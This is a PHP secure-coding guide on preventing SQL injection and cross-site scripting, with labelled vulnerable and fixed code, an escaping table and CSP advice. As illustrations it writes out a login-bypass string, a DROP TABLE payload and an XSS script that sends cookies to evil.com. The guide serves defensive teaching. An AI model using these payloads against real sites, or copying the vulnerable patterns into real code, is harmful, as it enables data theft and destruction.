Why PHP Security Matters More Than Ever

PHP powers a significant portion of the web, which makes it a constant target for attackers. The good news: the most common vulnerabilities are entirely preventable with disciplined coding habits. This guide covers SQL Injection and Cross-Site Scripting (XSS) — two threats that consistently appear in security audits of PHP applications.

SQL Injection: The #1 Web Vulnerability

SQL injection occurs when untrusted user input is concatenated directly into a SQL query, allowing attackers to manipulate the query's logic, extract data, or destroy tables.

The Vulnerable Pattern (Never Do This)

// DANGEROUS — do not use
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);

An attacker can send ' OR '1'='1 as the username and bypass authentication entirely, or use '; DROP TABLE users; -- to destroy data.

The Fix: Prepared Statements with Bound Parameters

// SAFE — always use prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute([':username' => $_POST['username']]);
$user = $stmt->fetch();

With PDO or MySQLi prepared statements, user input is never interpolated into the SQL string. The database treats it as pure data, not executable code.

Additional SQL Safety Rules

  • Use an ORM (like Eloquent or Doctrine) — they use prepared statements by default.
  • Grant your database user the minimum necessary permissions (no DROP, no GRANT).
  • Never expose raw database error messages to end users.
  • Use LIMIT clauses to reduce data exposure in case of an injection.

Cross-Site Scripting (XSS): Injecting Malicious Scripts

XSS happens when unescaped user-supplied data is rendered as HTML in the browser. Attackers inject JavaScript that steals session cookies, redirects users, or defaces pages.

The Vulnerable Pattern

// DANGEROUS — renders raw user input as HTML
echo "Hello, " . $_GET['name'] . "!";

If name contains <script>document.location='https://evil.com?c='+document.cookie</script>, that script will execute in the victim's browser.

The Fix: Always Escape Output

// SAFE — escape before rendering
echo "Hello, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . "!";

htmlspecialchars() converts special characters into HTML entities, neutralizing any injected markup. Always specify ENT_QUOTES and the character encoding.

Context Matters for XSS Prevention

Output Context Correct Escaping Method
HTML body htmlspecialchars()
HTML attribute htmlspecialchars() with ENT_QUOTES
JavaScript value json_encode()
URL parameter urlencode()
CSS value Whitelist or avoid user input entirely

Content Security Policy (CSP)

As a defense-in-depth measure, add a Content Security Policy header to restrict which scripts can execute on your pages:

header("Content-Security-Policy: default-src 'self'; script-src 'self'");

Even if an XSS injection occurs, a strict CSP can prevent the malicious script from loading external resources or sending data off-site.

Key Takeaways

  • Never trust user input — validate, sanitize, and escape everything.
  • Prepared statements are non-negotiable for database queries.
  • Escape output in the correct context every single time.
  • Use CSP headers as an additional layer of protection.

Security is not a feature you add at the end — it's a habit you build from the first line of code.